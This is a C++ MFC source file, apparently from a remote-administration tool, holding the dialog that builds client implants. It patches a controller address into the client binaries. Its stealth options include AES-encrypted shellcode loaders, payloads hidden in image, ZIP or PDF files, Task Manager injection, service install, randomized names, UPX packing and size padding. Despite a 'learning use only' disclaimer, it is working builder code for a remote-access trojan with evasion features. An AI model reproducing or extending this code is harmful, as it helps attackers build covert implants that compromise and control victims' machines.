m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE);
|
||||
m_SliderClientSize.SetPos(0);
|
||||
}
|
||||
int startup = Startup_DLL;
|
||||
CString file;
|
||||
CString targetDir;
|
||||
switch (index) {
|
||||
case IndexTestRun_DLL:
|
||||
case IndexTestRun_MemDLL:
|
||||
case IndexTestRun_InjSC:
|
||||
file = "TestRun.exe";
|
||||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir);
|
||||
typ = index == IndexTestRun_DLL ? CLIENT_TYPE_DLL : CLIENT_TYPE_MEMDLL;
|
||||
startup = std::map<int, int> {
|
||||
{IndexTestRun_DLL, Startup_DLL},{IndexTestRun_MemDLL, Startup_MEMDLL},{IndexTestRun_InjSC, Startup_InjSC},
|
||||
} [index];
|
||||
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize);
|
||||
break;
|
||||
case IndexGhost:
|
||||
file = "ghost.exe";
|
||||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir);
|
||||
typ = CLIENT_TYPE_ONE;
|
||||
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize);
|
||||
break;
|
||||
case IndexGhostMsc:
|
||||
file = "ghost.exe";
|
||||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir);
|
||||
typ = CLIENT_TYPE_ONE;
|
||||
startup = Startup_GhostMsc;
|
||||
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize);
|
||||
break;
|
||||
case IndexTestRunMsc:
|
||||
file = "TestRun.exe";
|
||||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir);
|
||||
typ = CLIENT_TYPE_MEMDLL;
|
||||
startup = Startup_TestRunMsc;
|
||||
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize);
|
||||
break;
|
||||
case IndexServerDll:
|
||||
file = "ServerDll.dll";
|
||||
typ = CLIENT_TYPE_DLL;
|
||||
szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize);
|
||||
break;
|
||||
case IndexTinyRun:
|
||||
file = "TinyRun.dll";
|
||||
typ = CLIENT_TYPE_SHELLCODE;
|
||||
szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize);
|
||||
break;
|
||||
case IndexLinuxGhost:
|
||||
file = "ghost";
|
||||
typ = CLIENT_TYPE_LINUX;
|
||||
szBuffer = ReadResource(IDR_LINUX_GHOST, dwFileSize);
|
||||
break;
|
||||
case OTHER_ITEM: {
|
||||
m_OtherItem.GetWindowTextA(file);
|
||||
typ = -1;
|
||||
if (file != _TR("未选择文件")) {
|
||||
CFile File;
|
||||
File.Open(file, CFile::modeRead | CFile::typeBinary);
|
||||
dwFileSize = File.GetLength();
|
||||
if (dwFileSize > 0) {
|
||||
szBuffer = new BYTE[dwFileSize];
|
||||
File.Read(szBuffer, dwFileSize);
|
||||
}
|
||||
File.Close();
|
||||
}
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
if (szBuffer == NULL) {
|
||||
MessageBoxL("出现内部错误,请检查输入,重新编译程序!", "提示", MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
//////////上线信息//////////////////////
|
||||
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "", typ, false, DLL_VERSION, 0, startup, HeaderEncV0 };
|
||||
if(m_strFindden.GetLength())
|
||||
memcpy(g_ConnectAddress.szFlag, m_strFindden.GetBuffer(), min(sizeof(g_ConnectAddress.szFlag), m_strFindden.GetLength()));
|
||||
g_ConnectAddress.SetAdminId(GetMasterHash().c_str());
|
||||
g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort));
|
||||
g_ConnectAddress.runningType = m_ComboRunType.GetCurSel();
|
||||
g_ConnectAddress.protoType = m_ComboProto.GetCurSel();
|
||||
g_ConnectAddress.iHeaderEnc = m_ComboEncrypt.GetCurSel();
|
||||
memcpy(g_ConnectAddress.pwdHash, GetPwdHash().c_str(), sizeof(g_ConnectAddress.pwdHash));
|
||||
memcpy(g_ConnectAddress.szGroupName, m_sGroupName, m_sGroupName.GetLength());
|
||||
memcpy(g_ConnectAddress.installDir, m_sInstallDir, m_sInstallDir.GetLength());
|
||||
memcpy(g_ConnectAddress.installName, m_sInstallName, m_sInstallName.GetLength());
|
||||
|
||||
if (!g_ConnectAddress.IsValid()) {
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
return;
|
||||
}
|
||||
bool encrypt = m_strEncryptIP == _L(_T("是"));
|
||||
if (encrypt && startup != Startup_InjSC && index != IndexTinyRun)
|
||||
g_ConnectAddress.Encrypt();
|
||||
if (m_runasAdmin)
|
||||
g_ConnectAddress.runasAdmin = TRUE;
|
||||
try {
|
||||
// 更新标识
|
||||
char* ptr = (char*)szBuffer, *end = (char*)szBuffer + dwFileSize;
|
||||
bool bFind = false;
|
||||
int bufSize = dwFileSize;
|
||||
while (ptr < end) {
|
||||
int iOffset = MemoryFind(ptr, (char*)g_ConnectAddress.Flag(), bufSize, g_ConnectAddress.FlagLen());
|
||||
if (iOffset == -1)
|
||||
break;
|
||||
|
||||
CONNECT_ADDRESS* dst = (CONNECT_ADDRESS*)(ptr + iOffset);
|
||||
auto result = strlen(dst->szBuildDate) ? compareDates(dst->szBuildDate, g_ConnectAddress.szBuildDate) : -1;
|
||||
if (result > 0) {
|
||||
MessageBoxL(_TR("客户端版本比主控程序更高, 无法生成!") + "\r\n" + file, "提示", MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
if (result != -2 && result <= 0) { // 客户端版本不能不大于主控端
|
||||
bFind = true;
|
||||
auto master = GetMasterId();
|
||||
memcpy(ptr + iOffset, &(g_ConnectAddress.ModifyFlag(master.c_str())), sizeof(g_ConnectAddress));
|
||||
}
|
||||
ptr += iOffset + sizeof(g_ConnectAddress);
|
||||
bufSize -= iOffset + sizeof(g_ConnectAddress);
|
||||
}
|
||||
if (!bFind) {
|
||||
MessageBoxL(_TR("出现内部错误,未能找到标识信息!") + "\r\n" + file, "提示", MB_ICONWARNING);
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
return;
|
||||
}
|
||||
|
||||
// 保存文件
|
||||
char path[_MAX_PATH], * p = path;
|
||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||
while (*p) ++p;
|
||||
while ('\\' != *p) --p;
|
||||
strcpy(p + 1, file.GetString());
|
||||
|
||||
CString strSeverFile = typ != -1 ? path : file;
|
||||
DeleteFileA(strSeverFile);
|
||||
CFile File;
|
||||
BOOL r=File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite);
|
||||
if (!r) {
|
||||
MessageBoxL(_TR("服务程序创建失败!") + "\r\n" + strSeverFile, "提示", MB_ICONWARNING);
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
return;
|
||||
}
|
||||
File.Write(szBuffer, dwFileSize);
|
||||
File.Close();
|
||||
CString tip = index == IndexTestRun_DLL ? "\r\n" + _TR("提示: 请生成\"ServerDll.dll\",以便程序正常运行。") : _T("");
|
||||
tip += g_ConnectAddress.protoType==PROTO_KCP ? "\n" + _TR("提示: 使用KCP协议生成服务,必须设置主控UDP协议参数为1。") : _T("");
|
||||
std::string upx;
|
||||
int sel = m_ComboCompress.GetCurSel();
|
||||
if(sel == CLIENT_COMPRESS_UPX)upx = ReleaseUPX();
|
||||
if (!upx.empty()) {
|
||||
run_upx_async(GetParent()->GetSafeHwnd(), upx, strSeverFile.GetString(), true);
|
||||
MessageBoxL(_TR("正在UPX压缩,请关注信息提示。") + "\r\n" + _TR("文件位于: ") + strSeverFile + tip, "提示", MB_ICONINFORMATION);
|
||||
} else {
|
||||
if (sel == CLIENT_COMPRESS_SC_AES) {
|
||||
DWORD dwSize = 0;
|
||||
LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64 : IDR_SCLOADER_X86, dwSize);
|
||||
if (data) {
|
||||
int iOffset = MemoryFind((char*)data, (char*)g_ConnectAddress.Flag(), dwSize, g_ConnectAddress.FlagLen());
|
||||
if (iOffset != -1) {
|
||||
SCInfo* sc = (SCInfo*)(data + iOffset);
|
||||
LPBYTE srcData = (LPBYTE)szBuffer;
|
||||
int srcLen = dwFileSize;
|
||||
if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize, true)) {
|
||||
generate_random_iv(sc->aes_key, 16);
|
||||
generate_random_iv(sc->aes_iv, 16);
|
||||
std::string key, iv;
|
||||
for (int i = 0; i < 16; ++i) key += std::to_string(sc->aes_key[i]) + " ";
|
||||
for (int i = 0; i < 16; ++i) iv += std::to_string(sc->aes_iv[i]) + " ";
|
||||
Mprintf("AES_KEY: %s, AES_IV: %s\n", key.c_str(), iv.c_str());
|
||||
|
||||
struct AES_ctx ctx;
|
||||
AES_init_ctx_iv(&ctx, sc->aes_key, sc->aes_iv);
|
||||
AES_CBC_encrypt_buffer(&ctx, srcData, srcLen);
|
||||
sc->len = srcLen;
|
||||
sc->offset = dwSize;
|
||||
CString old = strSeverFile;
|
||||
PathRenameExtension(strSeverFile.GetBuffer(MAX_PATH), _T(".exe"));
|
||||
strSeverFile.ReleaseBuffer();
|
||||
if (strSeverFile != old) DeleteFileA(old);
|
||||
int n = m_ComboPayload.GetCurSel();
|
||||
CString payload = strSeverFile;
|
||||
if (n) {
|
||||
static std::map<int, std::string> m = {
|
||||
{ Payload_Raw, "*.bin|*.bin|"}, { Payload_BMP, "*.bmp|*.bmp|"},
|
||||
{ Payload_JPG, "*.jpg|*.jpg|"}, { Payload_PNG, "*.png|*.png|"},
|
||||
{ Payload_ZIP, "*.zip|*.zip|"}, { Payload_PDF, "*.pdf|*.pdf|"},
|
||||
};
|
||||
payload = GetFilePath(NULL, m[n].c_str(), n != Payload_Raw);
|
||||
sc->offset = n == Payload_Raw ? 0 : GetFileSize(payload);
|
||||
strcpy(sc->file, PathFindFileNameA(payload));
|
||||
strcpy(sc->targetDir, targetDir);
|
||||
BOOL checked = m_BtnFileServer.GetCheck() == BST_CHECKED;
|
||||
if (checked) {
|
||||
strcpy(sc->downloadUrl, m_sDownloadUrl.IsEmpty() ? BuildPayloadUrl(m_strIP, sc->file) : m_sDownloadUrl);
|
||||
if (m_sDownloadUrl.IsEmpty()) MessageBoxL(CString("文件下载地址: \r\n") + sc->downloadUrl, "提示", MB_ICONINFORMATION);
|
||||
}
|
||||
tip = payload.IsEmpty() ? "\r\n警告: 没有生成载荷!" :
|
||||
checked ? "\r\n提示: 本机提供下载时,载荷文件必须拷贝至\"Payloads\"目录。" : "\r\n提示: 载荷文件必须拷贝至程序目录。";
|
||||
}
|
||||
BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)data, dwSize);
|
||||
if (r) {
|
||||
r = WriteBinaryToFile(payload.GetString(), (char*)srcData, srcLen, n == Payload_Raw ? 0 : -1);
|
||||
if (!r) tip = "\r\n警告: 生成载荷失败!";
|
||||
} else {
|
||||
MessageBoxL(_TR("文件生成失败: ") + "\r\n" + strSeverFile, "提示", MB_ICONINFORMATION);
|
||||
}
|
||||
SAFE_DELETE_ARRAY(srcData);
|
||||
}
|
||||
}
|
||||
}
|
||||
SAFE_DELETE_ARRAY(data);
|
||||
} else if (sel == CLIENT_PE_TO_SEHLLCODE) {
|
||||
int pe_2_shellcode(const std::string & in_path, const std::string & out_str);
|
||||
int ret = pe_2_shellcode(strSeverFile.GetString(), strSeverFile.GetString());
|
||||
if (ret)MessageBoxL(CString("ShellCode 转换异常, 异常代码: ") + CString(std::to_string(ret).c_str()),
|
||||
"提示", MB_ICONINFORMATION);
|
||||
} else if (sel == CLIENT_COMPRESS_SC_AES_OLD || // 兼容旧版本
|
||||
sel == CLIENT_COMP_SC_AES_OLD_UPX) {
|
||||
DWORD dwSize = 0;
|
||||
LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64_OLD : IDR_SCLOADER_X86_OLD, dwSize);
|
||||
if (data) {
|
||||
int iOffset = MemoryFind((char*)data, (char*)g_ConnectAddress.Flag(), dwSize, g_ConnectAddress.FlagLen());
|
||||
if (iOffset != -1) {
|
||||
SCInfoOld* sc = (SCInfoOld*)(data + iOffset);
|
||||
LPBYTE srcData = (LPBYTE)szBuffer;
|
||||
int srcLen = dwFileSize;
|
||||
if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize, true)) {
|
||||
generate_random_iv(sc->aes_key, 16);
|
||||
generate_random_iv(sc->aes_iv, 16);
|
||||
std::string key, iv;
|
||||
for (int i = 0; i < 16; ++i) key += std::to_string(sc->aes_key[i]) + " ";
|
||||
for (int i = 0; i < 16; ++i) iv += std::to_string(sc->aes_iv[i]) + " ";
|
||||
Mprintf("AES_KEY: %s, AES_IV: %s\n", key.c_str(), iv.c_str());
|
||||
|
||||
struct AES_ctx ctx;
|
||||
AES_init_ctx_iv(&ctx, sc->aes_key, sc->aes_iv);
|
||||
AES_CBC_encrypt_buffer(&ctx, srcData, srcLen);
|
||||
if (srcLen <= 8 * 1024 * 1024) {
|
||||
memcpy(sc->data, srcData, srcLen);
|
||||
sc->len = srcLen;
|
||||
}
|
||||
SAFE_DELETE_ARRAY(srcData);
|
||||
PathRenameExtension(strSeverFile.GetBuffer(MAX_PATH), _T(".exe"));
|
||||
strSeverFile.ReleaseBuffer();
|
||||
BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)data, dwSize);
|
||||
if (r && sel == CLIENT_COMP_SC_AES_OLD_UPX) {
|
||||
upx = ReleaseUPX();
|
||||
if (!upx.empty()) {
|
||||
run_upx_async(GetParent()->GetSafeHwnd(), upx, strSeverFile.GetString(), true);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
SAFE_DELETE_ARRAY(data);
|
||||
}
|
||||
else if (sel == CLIENT_SHELLCODE_BINARY) { // Shellcode 裸数据
|
||||
LPBYTE srcData = (LPBYTE)szBuffer;
|
||||
int srcLen = dwFileSize;
|
||||
if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize, true)) {
|
||||
PathRenameExtension(strSeverFile.GetBuffer(MAX_PATH), _T(".bin"));
|
||||
strSeverFile.ReleaseBuffer();
|
||||
BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)srcData, srcLen);
|
||||
SAFE_DELETE_ARRAY(srcData);
|
||||
}
|
||||
}
|
||||
int size = m_SliderClientSize.GetPos() * 2.56 * 1024 * 1024;
|
||||
if (size > 0) {
|
||||
std::vector<char> padding(size, time(0)%256);
|
||||
WriteBinaryToFile(strSeverFile.GetString(), padding.data(), size, -1);
|
||||
}
|
||||
MessageBoxL(_TR("生成成功! 文件位于:") + "\r\n" + strSeverFile + tip, "提示", MB_ICONINFORMATION);
|
||||
}
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
if (index == IndexTestRun_DLL) return;
|
||||
} catch (CMemoryException* e) {
|
||||
char err[100];
|
||||
e->GetErrorMessage(err, sizeof(err));
|
||||
MessageBoxL(_TR("内存异常:") + CString(err), "异常", MB_ICONERROR);
|
||||
} catch (CFileException* e) {
|
||||
char err[100];
|
||||
e->GetErrorMessage(err, sizeof(err));
|
||||
MessageBoxL(_TR("文件异常:") + CString(err), "异常", MB_ICONERROR);
|
||||
} catch (CException* e) {
|
||||
char err[100];
|
||||
e->GetErrorMessage(err, sizeof(err));
|
||||
MessageBoxL(_TR("其他异常:") + CString(err), "异常", MB_ICONERROR);
|
||||
}
|
||||
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
__super::OnOK();
|
||||
}
|
||||
|
||||
BOOL CBuildDlg::OnInitDialog()
|
||||
{
|
||||
__super::OnInitDialog();
|
||||
// 多语言翻译 - Static控件
|
||||
SetDlgItemText(IDC_STATIC_OTHER_ITEM, _TR("未选择文件"));
|
||||
SetDlgItemText(IDC_STATIC_PAYLOAD, _TR("载荷类型:"));
|
||||
SetDlgItemText(IDC_STATIC_PAYLOAD2, _TR("安装目录:"));
|
||||
SetDlgItemText(IDC_STATIC_PAYLOAD3, _TR("程序名称:"));
|
||||
SetDlgItemText(IDC_STATIC_DOWNLOAD, _TR("下载地址(默认本机):"));
|
||||
SetDlgItemText(IDC_STATIC_BUILD_SERVICE, _TR("服务程序:"));
|
||||
SetDlgItemText(IDC_STATIC_BUILD_ARCH, _TR("架构:"));
|
||||
SetDlgItemText(IDC_STATIC_BUILD_MODE, _TR("模式:"));
|
||||
SetDlgItemText(IDC_STATIC_BUILD_HOST_IP, _TR("主控IP地址:"));
|
||||
SetDlgItemText(IDC_STATIC_BUILD_PROTOCOL, _TR("协议:"));
|
||||
SetDlgItemText(IDC_STATIC_BUILD_ENCRYPT, _TR("加密:"));
|
||||
SetDlgItemText(IDC_STATIC_BUILD_GROUP, _TR("分组名称:"));
|
||||
SetDlgItemText(IDC_STATIC_BUILD_Port_2355, _TR("Port:"));
|
||||
SetDlgItemText(IDC_STATIC_BUILD_PACK, _TR("加壳:"));
|
||||
SetDlgItemText(IDC_STATIC_BUILD_TIP, _TR("提示: 多个上线地址用分号分隔,99个字符以内。仅供学习和自用,严禁用于非法目的使用。"));
|
||||
SetDlgItemText(IDC_STATIC_BUILD_PADDING, _TR("程序增肥:"));
|
||||
SetDlgItemText(IDC_STATIC_BUILD_GENERAL, _TR("通用"));
|
||||
SetDlgItemText(IDC_STATIC_BUILD_ADVANCED, _TR("高级 (非必填项)"));
|
||||
|
||||
// 设置对话框标题和控件文本(解决英语系统乱码问题)
|
||||
SetWindowText(_TR("生成服务端"));
|
||||
SetDlgItemText(IDOK, _TR("确定"));
|
||||
SetDlgItemText(IDCANCEL, _TR("取消"));
|
||||
SetDlgItemText(IDC_CHECK_FILESERVER, _TR("下载服务"));
|
||||
|
||||
// TODO: 在此添加额外的初始化
|
||||
CEdit* pEdit = (CEdit*)GetDlgItem(IDC_EDIT_IP);
|
||||
pEdit->LimitText(99);
|
||||
m_ComboExe.InsertStringL(IndexTestRun_DLL, "TestRun - 磁盘DLL");
|
||||
m_ComboExe.InsertStringL(IndexTestRun_MemDLL, "TestRun - 内存DLL");
|
||||
m_ComboExe.InsertStringL(IndexTestRun_InjSC, "TestRun - 注入任务管理器");
|
||||
|
||||
m_ComboExe.InsertStringL(IndexGhost, "ghost.exe");
|
||||
m_ComboExe.InsertStringL(IndexServerDll, "ServerDll.dll");
|
||||
m_ComboExe.InsertStringL(IndexTinyRun, "TinyRun.dll");
|
||||
m_ComboExe.InsertStringL(IndexGhostMsc, "ghost.exe - Windows 服务");
|
||||
m_ComboExe.InsertStringL(IndexTestRunMsc, "TestRun - Windows 服务");
|
||||
m_ComboExe.InsertStringL(IndexLinuxGhost, "ghost - Linux x64");
|
||||
m_ComboExe.InsertStringL(OTHER_ITEM, CString("选择文件"));
|
||||
m_ComboExe.SetCurSel(IndexTestRun_MemDLL);
|
||||
|
||||
m_ComboBits.InsertStringL(0, "64位");
|
||||
m_ComboBits.InsertStringL(1, "32位");
|
||||
m_ComboBits.SetCurSel(0);
|
||||
|
||||
m_ComboRunType.InsertStringL(RUNNING_RANDOM, "随机上线");
|
||||
m_ComboRunType.InsertStringL(RUNNING_PARALLEL, "并发上线");
|
||||
m_ComboRunType.SetCurSel(RUNNING_RANDOM);
|
||||
|
||||
m_ComboProto.InsertStringL(PROTO_TCP, "TCP");
|
||||
m_ComboProto.InsertStringL(PROTO_UDP, "UDP");
|
||||
m_ComboProto.InsertStringL(PROTO_HTTP, "HTTP");
|
||||
m_ComboProto.InsertStringL(PROTO_RANDOM, "随机");
|
||||
m_ComboProto.InsertStringL(PROTO_KCP, "KCP");
|
||||
m_ComboProto.SetCurSel(PROTO_TCP);
|
||||
|
||||
m_ComboEncrypt.InsertStringL(PROTOCOL_SHINE, "Shine");
|
||||
m_ComboEncrypt.InsertStringL(PROTOCOL_HELL, "HELL");
|
||||
m_ComboEncrypt.SetCurSel(PROTOCOL_HELL);
|
||||
|
||||
m_ComboCompress.InsertStringL(CLIENT_COMPRESS_NONE, "无");
|
||||
m_ComboCompress.InsertStringL(CLIENT_COMPRESS_UPX, "UPX");
|
||||
m_ComboCompress.InsertStringL(CLIENT_COMPRESS_SC_AES, "ShellCode AES");
|
||||
m_ComboCompress.InsertStringL(CLIENT_PE_TO_SEHLLCODE, "PE->ShellCode");
|
||||
m_ComboCompress.InsertStringL(CLIENT_COMPRESS_SC_AES_OLD, "ShellCode AES<Old>");
|
||||
m_ComboCompress.InsertStringL(CLIENT_SHELLCODE_BINARY, "ShellCode BIN");
|
||||
m_ComboCompress.InsertStringL(CLIENT_COMP_SC_AES_OLD_UPX, "SC AES<Old> + UPX");
|
||||
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_SC_AES_OLD);
|
||||
|
||||
m_ComboPayload.InsertStringL(Payload_Self, "载荷写入当前程序尾部");
|
||||
m_ComboPayload.InsertStringL(Payload_Raw, "载荷写入单独的二进制文件");
|
||||
m_ComboPayload.InsertStringL(Payload_BMP, "载荷写入 BMP 格式图片");
|
||||
m_ComboPayload.InsertStringL(Payload_JPG, "载荷写入 JPG 格式图片");
|
||||
m_ComboPayload.InsertStringL(Payload_PNG, "载荷写入 PNG 格式图片");
|
||||
m_ComboPayload.InsertStringL(Payload_ZIP, "载荷写入 ZIP 压缩包");
|
||||
m_ComboPayload.InsertStringL(Payload_PDF, "载荷写入 PDF 文件");
|
||||
m_ComboPayload.SetCurSel(Payload_Self);
|
||||
m_ComboPayload.ShowWindow(SW_HIDE);
|
||||
m_StaticPayload.ShowWindow(SW_HIDE);
|
||||
|
||||
m_BtnFileServer.ShowWindow(SW_HIDE);
|
||||
m_BtnFileServer.SetCheck(BST_UNCHECKED);
|
||||
m_StaticDownload.ShowWindow(SW_HIDE);
|
||||
m_EditDownloadUrl.ShowWindow(SW_HIDE);
|
||||
|
||||
m_OtherItem.ShowWindow(SW_HIDE);
|
||||
|
||||
m_runasAdmin = FALSE;
|
||||
m_MainMenu.LoadMenuA(IDR_MENU_BUILD);
|
||||
TranslateMenu(&m_MainMenu);
|
||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
|
||||
SubMenu->CheckMenuItem(ID_MENU_ENCRYPT_IP, MF_CHECKED);
|
||||
SubMenu->CheckMenuItem(ID_CLIENT_RUNAS_ADMIN, MF_UNCHECKED);
|
||||
::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); // 为窗口设置菜单
|
||||
::DrawMenuBar(this->GetSafeHwnd()); // 显示菜单
|
||||
|
||||
BOOL b = THIS_CFG.GetInt("settings", "RandomName", 0);
|
||||
if (b) {
|
||||
m_EditInstallDir.SetWindowTextA(m_sInstallDir = GenerateRandomName(5 + time(0) % 10));
|
||||
m_EditInstallName.SetWindowTextA(m_sInstallName = GenerateRandomName(5 + time(0) % 10));
|
||||
}
|
||||
SubMenu->CheckMenuItem(ID_RANDOM_NAME, b ? MF_CHECKED : MF_UNCHECKED);
|
||||
|
||||
// 初始化默认 IP 和端口(优先使用上级FRP配置)
|
||||
std::string effectiveIP;
|
||||
int effectivePort;
|
||||
CMy2015RemoteDlg::GetEffectiveMasterAddress(effectiveIP, effectivePort);
|
||||
m_strIP = effectiveIP.c_str();
|
||||
m_strPort.Format("%d", effectivePort);
|
||||
UpdateData(FALSE);
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// 异常: OCX 属性页应返回 FALSE
|
||||
}
|
||||
|
||||
CString CBuildDlg::GetFilePath(CString type, CString filter, BOOL isOpen)
|
||||
{
|
||||
CComPtr<IShellFolder> spDesktop;
|
||||
HRESULT hr = SHGetDesktopFolder(&spDesktop);
|
||||
if (FAILED(hr)) {
|
||||
MessageBoxL("Explorer 未正确初始化! 请稍后再试。", "提示", MB_ICONINFORMATION);
|
||||
return "";
|
||||
}
|
||||
// 过滤器:显示所有文件和特定类型文件(例如文本文件)
|
||||
CFileDialog fileDlg(isOpen, type, NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, filter, AfxGetMainWnd());
|
||||
int ret = 0;
|
||||
try {
|
||||
ret = fileDlg.DoModal();
|
||||
} catch (...) {
|
||||
MessageBoxL("文件对话框未成功打开! 请稍后再试。", "提示", MB_ICONINFORMATION);
|
||||
return "";
|
||||
}
|
||||
if (ret == IDOK) {
|
||||
CString name = fileDlg.GetPathName();
|
||||
return name;
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
void CBuildDlg::OnCbnSelchangeComboExe()
|
||||
{
|
||||
auto n = m_ComboExe.GetCurSel();
|
||||
if (n == OTHER_ITEM) {
|
||||
CString name = GetFilePath(_T("dll"), _T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|"));
|
||||
if (!name.IsEmpty()) {
|
||||
m_OtherItem.SetWindowTextA(name);
|
||||
CFile File;
|
||||
BOOL ret = File.Open(name, CFile::modeRead | CFile::typeBinary);
|
||||
if (ret) {
|
||||
int dwFileSize = File.GetLength();
|
||||
LPBYTE szBuffer = new BYTE[dwFileSize];
|
||||
File.Read(szBuffer, dwFileSize);
|
||||
File.Close();
|
||||
m_strIP = "127.0.0.1";
|
||||
m_strPort = "6543";
|
||||
UpdateData(FALSE);
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
}
|
||||
} else {
|
||||
m_OtherItem.SetWindowTextA("未选择文件");
|
||||
}
|
||||
m_OtherItem.ShowWindow(SW_SHOW);
|
||||
} else {
|
||||
m_OtherItem.SetWindowTextA("");
|
||||
m_OtherItem.ShowWindow(SW_HIDE);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void CBuildDlg::OnHelpParameters()
|
||||
{
|
||||
CString url = _T("https://github.com/yuanyuanxiang/SimpleRemoter/wiki#生成参数");
|
||||
ShellExecute(NULL, _T("open"), url, NULL, NULL, SW_SHOWNORMAL);
|
||||
}
|
||||
|
||||
|
||||
void CBuildDlg::OnHelpFindden()
|
||||
{
|
||||
CInputDialog dlg(this);
|
||||
dlg.m_str = m_strFindden;
|
||||
dlg.Init(_TR("生成标识"), _TR("请设置标识信息:"));
|
||||
if (dlg.DoModal() == IDOK) {
|
||||
m_strFindden = dlg.m_str;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void CBuildDlg::OnMenuEncryptIp()
|
||||
{
|
||||
m_strEncryptIP = m_strEncryptIP == _L(_T("是")) ? _L(_T("否")) : _L(_T("是"));
|
||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
|
||||
SubMenu->CheckMenuItem(ID_MENU_ENCRYPT_IP, m_strEncryptIP == _L(_T("是")) ? MF_CHECKED : MF_UNCHECKED);
|
||||
}
|
||||
|
||||
|
||||
void CBuildDlg::OnClientRunasAdmin()
|
||||
{
|
||||
m_runasAdmin = !m_runasAdmin;
|
||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
|
||||
SubMenu->CheckMenuItem(ID_CLIENT_RUNAS_ADMIN, m_runasAdmin ? MF_CHECKED : MF_UNCHECKED);
|
||||
static bool warned = false;
|
||||
if (m_runasAdmin && !warned) {
|
||||
warned = true;
|
||||
MessageBoxL(_L("安装Windows服务必须设置,客户端运行时会请求管理员权限,可能会触发系统UAC提示。\n")+
|
||||
_L("如果未设置,则程序会以当前用户的权限运行,通常也能安装成功。"), "提示", MB_ICONINFORMATION);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void CBuildDlg::OnCbnSelchangeComboCompress()
|
||||
{
|
||||
m_ComboPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE);
|
||||
m_StaticPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE);
|
||||
m_ComboPayload.SetFocus();
|
||||
m_BtnFileServer.ShowWindow(
|
||||
m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES && m_ComboPayload.GetCurSel() ? SW_SHOW : SW_HIDE);
|
||||
m_BtnFileServer.SetCheck(BST_UNCHECKED);
|
||||
m_StaticDownload.ShowWindow(SW_HIDE);
|
||||
m_EditDownloadUrl.ShowWindow(SW_HIDE);
|
||||
static bool warned = false;
|
||||
if (m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES && !warned) {
|
||||
warned = true;
|
||||
MessageBoxL(_L("使用 ShellCode AES 在程序尾部追加载荷,可能无法在某些服务器系统运行! ")+
|
||||
_L("请自行验证。或者选择其他载荷,或者切换为 ShellCode AES Old 模式生成!"),
|
||||
"提示", MB_ICONWARNING);
|
||||
}
|
||||
}
|
||||
|
||||
BOOL CBuildDlg::OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult)
|
||||
{
|
||||
TOOLTIPTEXTA* pTTT = (TOOLTIPTEXTA*)pNMHDR;
|
||||
UINT nID = pNMHDR->idFrom;
|
||||
if (pTTT->uFlags & TTF_IDISHWND) {
|
||||
// idFrom is actually the HWND of the tool
|
||||
nID = ::GetDlgCtrlID((HWND)nID);
|
||||
}
|
||||
if (nID == IDC_SLIDER_CLIENT_SIZE) {
|
||||
int size = m_SliderClientSize.GetPos() * 2.56;
|
||||
sprintf_s(pTTT->szText, "%dM", size);
|
||||
return TRUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
